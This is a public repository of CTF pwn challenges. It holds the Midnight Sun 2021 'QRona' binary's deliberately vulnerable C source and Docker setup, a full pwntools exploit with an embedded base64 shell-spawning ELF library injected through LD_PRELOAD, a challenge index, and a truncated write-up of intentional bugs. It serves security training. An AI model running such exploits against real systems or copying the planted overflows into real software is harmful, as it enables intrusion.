├── .gitignore ├── LICENSE ├── README.md ├── midnightsun └── 2021 │ └── finals │ └── qrona │ ├── README.md │ ├── dist │ └── qrona.tar.gz │ ├── docker │ ├── Dockerfile │ ├── ctf.xinetd │ ├── docker-compose.yml │ └── files │ │ ├── flag │ │ ├── qrona │ │ └── redir.sh │ ├── img │ └── qrona.png │ ├── solution │ └── solve.py │ └── src │ ├── Makefile │ └── qrona.c └── pwnyracing ├── README.md ├── chall01 ├── README.md ├── dist │ └── chall01.tar.gz └── src │ ├── Makefile │ └── chall01.c ├── chall02 ├── README.md └── src │ ├── Makefile │ └── chall02.c ├── chall03 ├── README.md ├── dist │ └── chall03.tar.gz └── src │ ├── Makefile │ └── chall03.S ├── chall04 ├── dist │ └── chall04.tar.gz └── src │ ├── Makefile │ └── chall04.c ├── chall05 └── src │ ├── Makefile │ └── chall05.c ├── chall06 ├── dist │ └── chall06.tar.gz └── src │ ├── Makefile │ └── chall06.c ├── chall07 └── src │ ├── Makefile │ └── chall07.c ├── chall08 ├── README.md ├── dist │ └── chall08.tar.gz └── src │ ├── Makefile │ └── chall08.c ├── chall09 ├── dist │ └── chall09.tar.gz └── src │ ├── Makefile │ └── chall09.c ├── chall10 ├── README.md ├── dist │ └── chall10.tar.gz └── src │ ├── Makefile │ └── chall10.c ├── chall11 ├── README.md ├── dist │ └── chall11.tar.gz └── src │ ├── Makefile │ └── chall11.c ├── chall12 ├── README.md ├── dist │ └── chall12.tar.gz └── src │ ├── Makefile │ └── chall12.c ├── chall13 ├── README.md ├── dist │ └── chall13.tar.gz └── src │ ├── Makefile.md │ └── chall13.c ├── chall14 ├── README.md ├── dist │ └── chall14.tar.gz └── src │ ├── Makefile │ └── chall14.c ├── chall15 └── src │ ├── Makefile │ └── chall15.c ├── chall16 └── src │ ├── Makefile │ └── chall16.c ├── chall17 ├── README.md ├── dist │ └── chall17.tar.gz └── src │ ├── Makefile │ └── chall17.c ├── flag_submission ├── .config.json ├── README.md └── client.go └── img └── pwnyracing.png /.gitignore: -------------------------------------------------------------------------------- 1 | **/.DS_Store 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 0xb0bb 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CTF Challenges 2 | 3 | Here is a collection of some of the CTF challenges I have released over 4 | the years. 5 | 6 | ## License 7 | 8 | Everything here is under the bro license AKA MIT. Feel free to use as you 9 | wish and if you want to be a cool guy you can give me credit (or partial credit). 10 | Happy hacking. 11 | 12 | ## Author 13 | 14 | [b0bb](https://twitter.com/0xb0bb) 15 | 16 | -------------------------------------------------------------------------------- /midnightsun/2021/finals/qrona/README.md: -------------------------------------------------------------------------------- 1 | # QRona 2 | 3 | ![QRona](img/qrona.png?raw=true) 4 | 5 | ## Description 6 | 7 | This is a simple stack based buffer overflow but the `main()` function 8 | never returns. The purpose of the challenge is to receive a `base64` 9 | encoded image and then `zbarimg` is run on it. The results are output 10 | via `stdout`. 11 | 12 | [ptrYudai](https://twitter.com/ptrYudai) was kind enough to honour this challenge in his [best pwnables of 2021](https://ptr-yudai.hatenablog.com/entry/2021/12/06/001931#qrona---%E5%89%B5%E9%80%A0%E5%8A%9B%E8%B3%9E) 13 | list where it received the "creativity award". 14 | 15 | ## Exploitation 16 | 17 | You can exploit with the script in `solution/solve.py` it will run 18 | with `HOST=localhost` and `PORT=1337` by default but if you provide 19 | the argument `local` it will launch locally. Use the argument `debug` 20 | to attach to a debugger. 21 | 22 | If the first argument is not `local` or `debug` it will use that as 23 | the host, and likewise for the second argument for the port. 24 | 25 | **example usage (remote):** 26 | ```bash 27 | $ ./solution/solve.py localhost 1337 28 | [+] Opening connection to localhost on port 1337: Done 29 | [*] leak: 0x7ffd4560e240 30 | [*] envp: 0x7ffd4560e7d8 31 | [*] file: /tmp/covid-8aUH-S5Uqfc 32 | [*] name: /tmp/covid-8aUH- 33 | 34 | [+] shell: uid=999(ctf) gid=999(ctf) groups=999(ctf) 35 | [*] Switching to interactive mode 36 | $ cat flag 37 | midnight{34sy_pWns_m4k3_p30pl3_h4ppY} 38 | ``` 39 | 40 | **example usage (local):** 41 | ```bash 42 | $ ./solution/solve.py local 43 | [+] Starting local process './docker/files/qrona': pid 3329905 44 | [*] leak: 0x7ffe4ff9eb90 45 | [*] envp: 0x7ffe4ff9f128 46 | [*] file: /tmp/covid-TfHK-KKvdj1 47 | [*] name: /tmp/covid-TfHK- 48 | 49 | [+] shell: uid=1000(user) gid=1000(user) groups=1000(user) 50 | [*] Switching to interactive mode 51 | ``` 52 | 53 | The exploit is simple, first it uses the fact the buffer is printed 54 | when the `base64` fails in order to acquire a stack leak, this will 55 | be used later. 56 | 57 | Then the player needs to flip a `debug` switch in order to 58 | leak the tmp file name, this will allow them to overwrite this data 59 | in such a way as to pass sanity checks but not have their tmp file 60 | deleted after a run. 61 | 62 | Once they have done that, they can make sure the data in this file 63 | is an `ELF shared library`. This will be used for the final step. 64 | 65 | Finally, they can overwrite the `envp` array on the stack, so it 66 | will include the string `LD_PRELOAD=/path/to/lib` so they can have 67 | a shell popped when `zbarimg` runs. 68 | 69 | ## Building 70 | 71 | In order to build, just move into the `src` folder and type `make`, 72 | this will generate an executable file. 73 | 74 | ## Docker 75 | 76 | In order to get the dockerised version up and running just move into 77 | the `docker` folder and type the following command: 78 | 79 | ```bash 80 | docker-compose up --build -d 81 | ``` 82 | 83 | ## Distribution 84 | 85 | The only file intended to be provided to the player is the `qrona` 86 | challenge binary which has been archived in `dist/qrona.tar.gz`. 87 | 88 | ## Author 89 | 90 | b0bb 91 | -------------------------------------------------------------------------------- /midnightsun/2021/finals/qrona/dist/qrona.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xb0bb/ctf-challs/1ece7f764b1ecae7168334c508c4e6a339d845a6/midnightsun/2021/finals/qrona/dist/qrona.tar.gz -------------------------------------------------------------------------------- /midnightsun/2021/finals/qrona/docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | ENV DEBIAN_FRONTEND noninteractive 3 | 4 | RUN apt-get update && apt-get install -y apt-transport-https 5 | RUN apt-get install -y apt-utils 6 | RUN apt-get install -y xinetd 7 | RUN apt-get install -y zbar-tools 8 | 9 | RUN groupadd -r ctf && useradd -r -g ctf ctf 10 | ADD ctf.xinetd /etc/xinetd.d/ctf 11 | ADD ./files/ /home/ctf/ 12 | 13 | RUN chmod 440 /home/ctf/* 14 | RUN chown -R root:ctf /home/ctf 15 | RUN chmod 750 /home/ctf/redir.sh 16 | RUN chmod 750 /home/ctf/qrona 17 | 18 | RUN service xinetd restart 19 | CMD ["/usr/sbin/xinetd", "-dontfork"] -------------------------------------------------------------------------------- /midnightsun/2021/finals/qrona/docker/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = ctf 8 | type = UNLISTED 9 | bind = 0.0.0.0 10 | port = 1337 11 | server = /home/ctf/redir.sh 12 | } -------------------------------------------------------------------------------- /midnightsun/2021/finals/qrona/docker/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | services: 3 | qrona: 4 | build: 5 | context: . 6 | working_dir: /home/ctf 7 | container_name: qrona 8 | ports: 9 | - "1337:1337" 10 | entrypoint: "/usr/sbin/xinetd -dontfork" 11 | -------------------------------------------------------------------------------- /midnightsun/2021/finals/qrona/docker/files/flag: -------------------------------------------------------------------------------- 1 | midnight{34sy_pWns_m4k3_p30pl3_h4ppY} 2 | -------------------------------------------------------------------------------- /midnightsun/2021/finals/qrona/docker/files/qrona: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xb0bb/ctf-challs/1ece7f764b1ecae7168334c508c4e6a339d845a6/midnightsun/2021/finals/qrona/docker/files/qrona -------------------------------------------------------------------------------- /midnightsun/2021/finals/qrona/docker/files/redir.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cd /home/ctf && ./qrona 3 | -------------------------------------------------------------------------------- /midnightsun/2021/finals/qrona/img/qrona.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xb0bb/ctf-challs/1ece7f764b1ecae7168334c508c4e6a339d845a6/midnightsun/2021/finals/qrona/img/qrona.png -------------------------------------------------------------------------------- /midnightsun/2021/finals/qrona/solution/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | import base64 4 | 5 | PROG = './docker/files/qrona' 6 | HOST = 'localhost' 7 | PORT = 1337 8 | 9 | ENVP = 0x598 10 | 11 | LOCAL = False 12 | if 'local' in sys.argv: 13 | LOCAL = True 14 | 15 | DEBUG = False 16 | if 'debug' in sys.argv: 17 | DEBUG = True 18 | 19 | if LOCAL: 20 | io = process(PROG) 21 | else: 22 | io = remote(HOST, PORT) 23 | 24 | if DEBUG: 25 | gdb.attach(io, 'set follow-fork-mode parent\nbrva 0x1ccb\n') 26 | 27 | time.sleep(1) 28 | 29 | # step 1: leak the stack 30 | io.recvuntil(':\x1b[0m ') 31 | io.send('x'*0x400) 32 | 33 | time.sleep(1) 34 | 35 | io.recvuntil('decode: ') 36 | leak = io.recvline().strip().ljust(8, b'\x00') 37 | leak = u64(leak) 38 | envp = leak + ENVP 39 | 40 | log.info('leak: 0x%012x' % leak) 41 | log.info('envp: 0x%012x' % envp) 42 | 43 | io.recvuntil('continue...\n') 44 | io.send('\n') 45 | 46 | # step 2: get the file name 47 | 48 | data = base64.b64encode(b'hawhaw im so leet') 49 | io.recvuntil(':\x1b[0m ') 50 | io.send(b'x'*0x400+p64(leak)+p8(0x01)) 51 | 52 | io.recvuntil('continue...\n') 53 | io.send('\n') 54 | 55 | io.recvuntil(':\x1b[0m ') 56 | file = io.recvline().strip().decode('utf-8') 57 | name = file[:-6] 58 | 59 | log.info('file: %s' % file) 60 | log.info('name: %s' % name) 61 | 62 | # step 3: write the shared library to the program 63 | # but partially corrupt the filename so 64 | # we pass all the checks but don't delete 65 | 66 | lib = b'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAMcBQV0iJ5us6' 67 | lib += b'AAAAAAAAAC9iaW4vc2gAAAAAAEAAOAACAAEAAAAHAAAA' 68 | lib += b'AAAAAAAAAAAAAAAAAAAAAFBIieKwOw8FkOv1AAAAAADK' 69 | lib += b'AAAAAAAAAAAQAAAAAAAAAgAAAAYAAACaAAAAAAAAAJoA' 70 | lib += b'AAAAAAAASI24nv///+uFAAAAAAAAAAwAAAAAAAAAigAA' 71 | lib += b'AAAAAAAFAAAAAAAAAFVVVVVVVVVVBg==' 72 | lib = lib.ljust(0x400, b'\x00') 73 | 74 | lib += p64(leak) 75 | lib += p8(0x01) 76 | lib += name.encode('utf-8')+b'ABCDEF\x00' 77 | 78 | io.recvuntil(':\x1b[0m ') 79 | io.sendline(lib) 80 | 81 | io.recvuntil('continue...\n') 82 | io.send('\n') 83 | 84 | # step 4: finally we can overwrite the envp so it 85 | # will contain LD_PRELOAD to our lib 86 | 87 | io.recvuntil(':\x1b[0m ') 88 | tmpf = io.recvline().strip() 89 | 90 | pay = b'x'*0x400 91 | pay += p64(leak) 92 | pay += p8(0x01) 93 | pay += tmpf.ljust(0x20, b'\x00') 94 | 95 | pay = pay.ljust(ENVP, b'\x00') 96 | pay += p64(envp + 0x18) 97 | pay += p64(0x00) 98 | pay += p64(0x00) 99 | pay += b'LD_PRELOAD='+file.encode('utf-8') 100 | 101 | io.sendline(pay) 102 | 103 | io.recvuntil('continue...\n') 104 | io.send('\n') 105 | 106 | # step 5: almost there 107 | io.recvuntil(':\x1b[0m ') 108 | io.sendline('SGFja2luZ0ZvclNvam8K') 109 | 110 | io.clean() 111 | 112 | # step 5: collect a nice juicy shell 113 | 114 | print('') 115 | io.sendline('id') 116 | log.success('shell: %s' % io.recvline().strip().decode('utf-8')) 117 | 118 | io.interactive() 119 | -------------------------------------------------------------------------------- /midnightsun/2021/finals/qrona/src/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS=-s 2 | SRC=qrona.c 3 | OBJ=$(SRC:.c=.o) 4 | BIN=$(SRC:.c=) 5 | CC=gcc 6 | 7 | .PHONY : clean 8 | 9 | all: 10 | $(MAKE) $(BIN) 11 | 12 | $(BIN): $(OBJ) 13 | $(CC) $(CFLAGS) $(OBJ) -o $@ 14 | 15 | .o: 16 | $(CC) $(CFLAGS) $< -o $@ 17 | 18 | challenge: all 19 | rm -f $(OBJ) 20 | 21 | clean: 22 | rm -f $(BIN) $(OBJ) -------------------------------------------------------------------------------- /midnightsun/2021/finals/qrona/src/qrona.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include 12 | #include 13 | #include 14 | 15 | char template[0x20] = "/tmp/covid-YYYY-XXXXXX"; 16 | static char table_64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 17 | static signed char index_64[128] = 18 | { 19 | -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, 20 | -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, 21 | -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,62, -1,-1,-1,63, 22 | 52,53,54,55, 56,57,58,59, 60,61,-1,-1, -1,-1,-1,-1, 23 | -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10, 11,12,13,14, 24 | 15,16,17,18, 19,20,21,22, 23,24,25,-1, -1,-1,-1,-1, 25 | -1,26,27,28, 29,30,31,32, 33,34,35,36, 37,38,39,40, 26 | 41,42,43,44, 45,46,47,48, 49,50,51,-1, -1,-1,-1,-1 27 | }; 28 | 29 | #define CHAR64(c) (((c) < 0 || (c) > 127) ? -1 : index_64[(c)]) 30 | #define MAX_SIZE 8192 31 | #define MAX_ROWS 128 32 | 33 | #define MAX_DATA 0x400 34 | 35 | #define MIN(a,b) (((a)<(b))?(a):(b)) 36 | #define MAX(a,b) (((a)>(b))?(a):(b)) 37 | 38 | struct data { 39 | char data[MAX_DATA]; 40 | char *ptr; 41 | bool debug; 42 | char file[0x20]; 43 | }; 44 | 45 | char *decode(const char *value, int vlen, size_t *rlen){ 46 | 47 | *rlen = 0; 48 | int c1, c2, c3, c4; 49 | 50 | char *result =(char *) malloc(vlen); 51 | char *out = result; 52 | 53 | while (1){ 54 | if (value[0] == 0) 55 | return result; 56 | 57 | c1 = value[0]; 58 | if (CHAR64(c1) == -1) 59 | goto decode_error;; 60 | 61 | c2 = value[1]; 62 | if (CHAR64(c2) == -1) 63 | goto decode_error;; 64 | 65 | c3 = value[2]; 66 | if ((c3 != '=') && (CHAR64(c3) == -1)) 67 | goto decode_error;; 68 | 69 | c4 = value[3]; 70 | if ((c4 != '=') && (CHAR64(c4) == -1)) 71 | goto decode_error;; 72 | 73 | value += 4; 74 | *out++ = (CHAR64(c1) << 2) | (CHAR64(c2) >> 4); 75 | *rlen += 1; 76 | if (c3 != '='){ 77 | *out++ = ((CHAR64(c2) << 4) & 0xf0) | (CHAR64(c3) >> 2); 78 | *rlen += 1; 79 | if (c4 != '='){ 80 | *out++ = ((CHAR64(c3) << 6) & 0xc0) | CHAR64(c4); 81 | *rlen += 1; 82 | } 83 | } 84 | } 85 | 86 | decode_error: 87 | printf("\x1b[31;1mfailed:\x1b[0m cannot decode: %s\n", value); 88 | free(result); 89 | result = NULL; 90 | *rlen = 0; 91 | return result; 92 | } 93 | 94 | void banner(){ 95 | 96 | puts(" \xf0\x9f\x91" \ 97 | "\x91 \xf0\x9f\x91\x91\n " \ 98 | " \xf0\x9f\x91\x91\n \x1b[34;1m▄\x1b[47m▄\x1b[0m\x1b[34;1m████████" \ 99 | "▄\x1b[0m \x1b[34;1m\x1b[47m▄\x1b[0m\x1b[34;1m█████████▄\x1b[0m \x1b[34;" \ 100 | "1m▄\x1b[47m▄\x1b[0m\x1b[34;1m████████▄\x1b[0m \x1b[34;1m\x1b[47m▄\x1b[0" \ 101 | "m\x1b[34;1m███ \x1b[34;1m\x1b[47m▄\x1b[0m\x1b[34;1m███\x1b[0m \x1b[34" \ 102 | ";1m▄\x1b[47m▄\x1b[0m\x1b[34;1m████████▄\x1b[0m\n \x1b[34;1m████\x1b[43;" \ 103 | "1m▀▀▀████\x1b[0m \x1b[34;1m████\x1b[43;1m▀▀▀████\x1b[0m \x1b[34;1m████" \ 104 | "\x1b[43;1m▀▀▀████\x1b[0m \x1b[34;1m█████▄ ████\x1b[0m \x1b[34;1m████" \ 105 | "\x1b[43;1m▀▀▀████\x1b[0m\n \x1b[34;1m████ ████\x1b[0m \x1b[34;1m████▄" \ 106 | "▄▄███\x1b[43;1m▀\x1b[0m \x1b[34;1m████ ████\x1b[0m \x1b[34;1m████████" \ 107 | "███\x1b[0m \x1b[34;1m████▄▄▄████\x1b[0m\n \x1b[34;1m████ ████\x1b[0m " \ 108 | "\x1b[34;1m████\x1b[43;1m▀▀▀███\x1b[0m\x1b[34;1m▄\x1b[0m \x1b[34;1m████ " \ 109 | " ████\x1b[0m \x1b[34;1m████\x1b[0m\x1b[33m▀\x1b[34;1m\x1b[43;1m▀█████" \ 110 | "\x1b[0m \x1b[34;1m████\x1b[43;1m▀▀▀████\x1b[0m\n \x1b[34;1m████▄▄▄████" \ 111 | "\x1b[0m \x1b[34;1m████ ████\x1b[0m \x1b[34;1m████▄▄▄████\x1b[0m \x1b[" \ 112 | "34;1m████ \x1b[0m\x1b[33m▀\x1b[34;1m████\x1b[0m \x1b[34;1m████ ████" \ 113 | "\x1b[0m\n \x1b[34;1m\x1b[43;1m▀█████████▀\x1b[0m \x1b[34;1m████ ████" \ 114 | "\x1b[0m \x1b[34;1m\x1b[43;1m▀█████████▀\x1b[0m \x1b[34;1m████ ████" \ 115 | "\x1b[0m \x1b[34;1m████ ████\x1b[0m\n \x1b[33m▀▀▀\x1b[0m\x1b[34;1m███" \ 116 | "\x1b[0m\x1b[33m▀▀▀\x1b[0m \x1b[33m▀▀▀▀ ▀▀▀▀\x1b[0m \x1b[33m▀▀▀▀▀▀▀▀" \ 117 | "▀\x1b[0m \x1b[33m▀▀▀▀ ▀▀▀▀\x1b[0m \x1b[33m▀▀▀▀ ▀▀▀▀\x1b[0m\n " \ 118 | "\x1b[33m▀▀▀\x1b[0m qr decoding for the socially distant...\n"); 119 | } 120 | 121 | void make_template(){ 122 | 123 | int fd = open("/dev/urandom", O_RDONLY); 124 | if (fd < 0){ 125 | printf("\x1b[31;1mfailed:\x1b[0m cannot open /dev/urandom\n"); 126 | exit(EXIT_FAILURE); 127 | } 128 | 129 | char c = 0; 130 | size_t n = 0; 131 | char *p = strstr(template, "YYYY"); 132 | 133 | while (n < 4 && read(fd, &c, 1)){ 134 | if ((c >= 0x41 && c <= 0x5a) || 135 | (c >= 0x61 && c <= 0x6a) || 136 | (c >= 0x30 && c <= 0x39)){ 137 | *p++ = c; 138 | n++; 139 | } 140 | } 141 | } 142 | 143 | void init(){ 144 | 145 | setvbuf(stdin, 0, _IONBF, 0); 146 | setvbuf(stdout, 0, _IONBF, 0); 147 | 148 | make_template(); 149 | } 150 | 151 | int make_tempfile(char *file){ 152 | 153 | int fd; 154 | char path[0x20] = ""; 155 | char tmpf[0x20] = ""; 156 | 157 | strncpy(tmpf, template, sizeof(tmpf)); 158 | fd = mkstemp(tmpf); 159 | if (fd < 0) 160 | return fd; 161 | 162 | snprintf(path, sizeof(path), "/proc/self/fd/%d", fd); 163 | realpath(path, file); 164 | 165 | return fd; 166 | } 167 | 168 | int check_str(char *file){ 169 | 170 | unsigned char c; 171 | while ((c = *file) && (isalnum(c) || c == '-' || c == '/')) 172 | file++; 173 | 174 | return *file == '\0'; 175 | } 176 | 177 | void main(int argc, char *argv[], char *envp[]){ 178 | 179 | int fd; 180 | int n; 181 | 182 | char *decoded; 183 | size_t size; 184 | char cmd[0x50]; 185 | 186 | struct data data; 187 | data.ptr = (void *) &data.data; 188 | data.debug = (argc > 1 && strcmp(argv[1], "debug") == 0)? true: false; 189 | 190 | init(); 191 | banner(); 192 | 193 | while (1){ 194 | 195 | fd = make_tempfile((void *) &data.file); 196 | if (fd < 0){ 197 | perror("\x1b[31;1mfailed:\x1b[0m mkstemp()"); 198 | exit(EXIT_FAILURE); 199 | } 200 | 201 | if (data.debug == true) 202 | printf("\x1b[1mtmpnam:\x1b[0m %s\n", data.file); 203 | 204 | printf("\x1b[1mbase64:\x1b[0m "); 205 | n = read(STDIN_FILENO, data.data, MAX_DATA * 4); 206 | if (data.data[n-1] == '\n') 207 | data.data[n-1] = '\0'; 208 | 209 | if ((decoded = decode(data.data, sizeof(data.data), &size)) == NULL) 210 | goto softfail; 211 | 212 | if (write(fd, decoded, MIN(size, MAX_DATA)) == -1){ 213 | perror("\x1b[31;1mfailed:\x1b[0m write()"); 214 | exit(EXIT_FAILURE); 215 | } 216 | 217 | if (strncmp(data.file, template, 16) != 0) 218 | exit(EXIT_FAILURE); 219 | 220 | if (check_str(data.file) == 0) 221 | exit(EXIT_FAILURE); 222 | 223 | putchar('\n'); 224 | printf("\x1b[1moutput:\x1b[0m\n"); 225 | snprintf(cmd, 0x50, "/usr/bin/zbarimg --raw '%s'", data.file); 226 | system(cmd); 227 | 228 | free(decoded); 229 | 230 | softfail: 231 | 232 | printf("\npress [enter] to continue...\n"); 233 | getchar(); 234 | 235 | close(fd); 236 | 237 | if (strncmp(data.file, template, 16) != 0) 238 | exit(EXIT_FAILURE); 239 | 240 | unlink(data.file); 241 | continue; 242 | } 243 | 244 | puts("hej då"); 245 | _exit(EXIT_SUCCESS); 246 | } -------------------------------------------------------------------------------- /pwnyracing/README.md: -------------------------------------------------------------------------------- 1 | # Pwny.Racing Challenges 2 | 3 | ![Pwny.Racing](img/pwnyracing.png?raw=true) 4 | 5 | I once made some challenges for a thing called `pwny.racing` and I asked 6 | some respected hackers to join in the fun racing some simple (low reversing) 7 | challenges. 8 | 9 | Here is a collection of challenges I made during it's run. I have decided 10 | not to release the community challenges that were slight variations of 11 | previous challenges because they are not that interesting. 12 | 13 | Feel free to use these as inpiration or just plain steal them for your own 14 | CTF. If you want to be a cool person you can give me partial credit but it 15 | is not required. Hopefully someone out there learns something from some of 16 | these. 17 | 18 | For anyone interested the most "borrowed" challenge ideas from this series 19 | were [chall04](pwnyracing/chall04/) and [chall03](pwnyracing/chall03/). 20 | 21 | ## Index 22 | 23 | - [chall01](chall01/) - **Episode 01** ([Jay Little](https://twitter.com/computerality), endeavor, [Murmus](https://twitter.com/MurmusCTF)) 24 | - [chall03](chall03/) - **Episode 02** ([borysp](https://twitter.com/boryspop), [hpmv](https://twitter.com/rchpmv), vos, [zap](https://twitter.com/zap_rpisec)) 25 | - [chall04](chall04/) - **Episode 03** ([jinmo](https://twitter.com/jinmo123), [mak](https://twitter.com/maciekkotowicz), [Retr0id](https://twitter.com/David3141593)) 26 | - [chall06](chall06/) - **Episode 04** ([laxa](https://twitter.com/l4x4), mrtumble, [kileak](https://twitter.com/Kileak99), [Lord_Idiot](https://twitter.com/__lord_idiot)) 27 | - [chall08](chall08/) - **Episode 05** ([nneonneo](https://twitter.com/nneonneo), [theKidOfArcrania](https://twitter.com/kidOfArcrania), ottizy, [Murmus](https://twitter.com/MurmusCTF)) 28 | - [chall09](chall09/) - **Episode 06** ([acez](https://twitter.com/amatcama), [blasty](https://twitter.com/bl4sty), [likvidera](https://twitter.com/likvidera)) 29 | - [chall10](chall10/) - **Episode 7a** ([spq](https://twitter.com/__spq__), [quend](https://twitter.com/Calaquendi44), [zap](https://twitter.com/zap_rpisec), [aweinstock](https://aweinstock.com/)) 30 | - [chall11](chall11/) - **Episode 7b** ([spq](https://twitter.com/__spq__), [quend](https://twitter.com/Calaquendi44), [zap](https://twitter.com/zap_rpisec), [aweinstock](https://aweinstock.com/)) 31 | - [chall12](chall12/) - **Episode 7c** ([spq](https://twitter.com/__spq__), [quend](https://twitter.com/Calaquendi44), [zap](https://twitter.com/zap_rpisec), [aweinstock](https://aweinstock.com/)) 32 | - [chall13](chall13/) - **Episode 7d** ([spq](https://twitter.com/__spq__), [quend](https://twitter.com/Calaquendi44), [zap](https://twitter.com/zap_rpisec), [aweinstock](https://aweinstock.com/)) 33 | - [chall14](chall14/) - **Episode 7e** ([spq](https://twitter.com/__spq__), [quend](https://twitter.com/Calaquendi44), [zap](https://twitter.com/zap_rpisec), [aweinstock](https://aweinstock.com/)) 34 | - [chall15](chall15/) - **Episode 08** (XeR, [nneonneo](https://twitter.com/nneonneo), [honululu](https://twitter.com/dreselli), [nandayo](https://twitter.com/nanday0_)) 35 | - [chall16](chall16/) - **Episode 09** ([niklasb](https://twitter.com/_niklasb), [jazzy](https://twitter.com/ret2got), [mightymo](https://twitter.com/m1ghtymo), [zzz](https://twitter.com/viktoredstrom)) 36 | - [chall17](chall17/) - **Episode 10** ([Peace-Maker](https://twitter.com/jhartung10), [NotDeGhost](https://twitter.com/NotDeGhost), [night_f0x](https://twitter.com/vishnudevtj), [spq](https://twitter.com/__spq__)) 37 | 38 | 39 | ## License 40 | 41 | Everything here is under the bro license AKA MIT. Feel free to use as you wish 42 | and if you want to be a cool guy you can give me credit (or partial credit). 43 | Happy hacking. 44 | 45 | 46 | ## Author 47 | 48 | [b0bb](https://twitter.com/0xb0bb) 49 | -------------------------------------------------------------------------------- /pwnyracing/chall01/README.md: -------------------------------------------------------------------------------- 1 | # Chall 01 2 | 3 | ## Description 4 | 5 | The application has two (intentional) bugs: 6 | 7 | 1. stack based buffer overflow. 8 | 2. malloc result is not checked. 9 | 10 | ## Bugs 11 | 12 | ### Buffer Overflow 13 | 14 | There is a simple buffer overflow, the stack is setup like: 15 | 16 | ``` 17 | +-----------------+ 18 | | buffer[00 - 03] | <----+ 19 | +-----------------+ | 20 | +-----------------+ | 21 | | buffer[04 - 07] | | 22 | +-----------------+ | 23 | +-----------------+ | 24 | | buffer[08 - 0b] | | 25 | +-----------------+ | 26 | +-----------------+ | 27 | | buffer[0c - 0f] | | 28 | +-----------------+ | 29 | +-----------------+ | 30 | | buffer[10 - 13] | | 31 | +-----------------+ | 32 | +-----------------+ | 33 | | buffer[14 - 17] | | 34 | +-----------------+ | 35 | +-----------------+ | 36 | | buffer[18 - 1b] | | 37 | +-----------------+ | 38 | +-----------------+ | 39 | | ptr | -----+ 40 | +-----------------+ 41 | ``` 42 | 43 | So the buffer is written to, byte by byte through the ptr pointer, once the 44 | buffer overflows it will write into that very pointer. This poses a bit of a 45 | problem since there is no stable way to overwrite the pointer, instead you can 46 | just alter the LSByte. 47 | 48 | This means that sending too many characters into the first buffer you see, even 49 | though it is vulnerable may not result in a crash you can take advantage of 50 | right away, at least nothing to yield a 0x41414141. 51 | 52 | Normally this sort of thing could be used to "jump" over the stack canary in 53 | order to alter the saved return address, however in this case, the function 54 | will never return as there is an _exit call (so no handler hooks will be run). 55 | 56 | At this point it will feel like a dead end. 57 | 58 | ### Malloc results are not checked 59 | 60 | Every decent programmer knows two things about malloc, firstly that you do not 61 | need to cast the results and also to always check the result of a call to 62 | malloc. In this case, the results are not checked and the pointer is passed as 63 | an argument to the next function. Within that function it will only set a 64 | variable (alias) if that ptr is not NULL. This means that should the malloc 65 | call fail the address will be whatever was on the stack. 66 | 67 | Since the malloc is user controlled it is pretty easy to make it fail, just 68 | pass a size too large for the threshold. In this case just a simple -1 will do. 69 | 70 | ## Exploitation 71 | 72 | The application is straight-forward to exploit but the trick is the player must 73 | not write the buffer from a low to high address, instead they should look to 74 | write into a lower address (future stack frame) and then they will 75 | achieve the ability to write anywhere. 76 | 77 | ``` 78 | +---------------------------------+ 79 | | future work() frame | 80 | | | 81 | | +-----------------+ | 82 | | | ptr: 0x58585858 | | <----------< 83 | | +-----------------+ | | 84 | +---------------------------------+ | 85 | +-----------------+ | 86 | | return addr | <-- reached | 87 | +-----------------+ | 88 | +---------------------------------+ | 89 | | main() frame | | 90 | | | | 91 | | +-----------------+ | | 92 | | | buffer... | <----+ | O | 93 | | +-----------------+ | | | | 94 | | ... | | | | 95 | | +-----------------+ | | | | 96 | | | ptr | -----+ | v----------^ 97 | | +-----------------+ | 98 | | ... | 99 | +---------------------------------+ 100 | +-----------------+ 101 | | return addr | <-- never reached 102 | +-----------------+ 103 | ``` 104 | 105 | ## Hints 106 | 107 | There are a few hints provided in the binary in order to make it easy to figure 108 | out how to chain the two issues. Both of those hints will be in the form of 109 | stack alignment, the idea is that the player will wonder why and the answer will 110 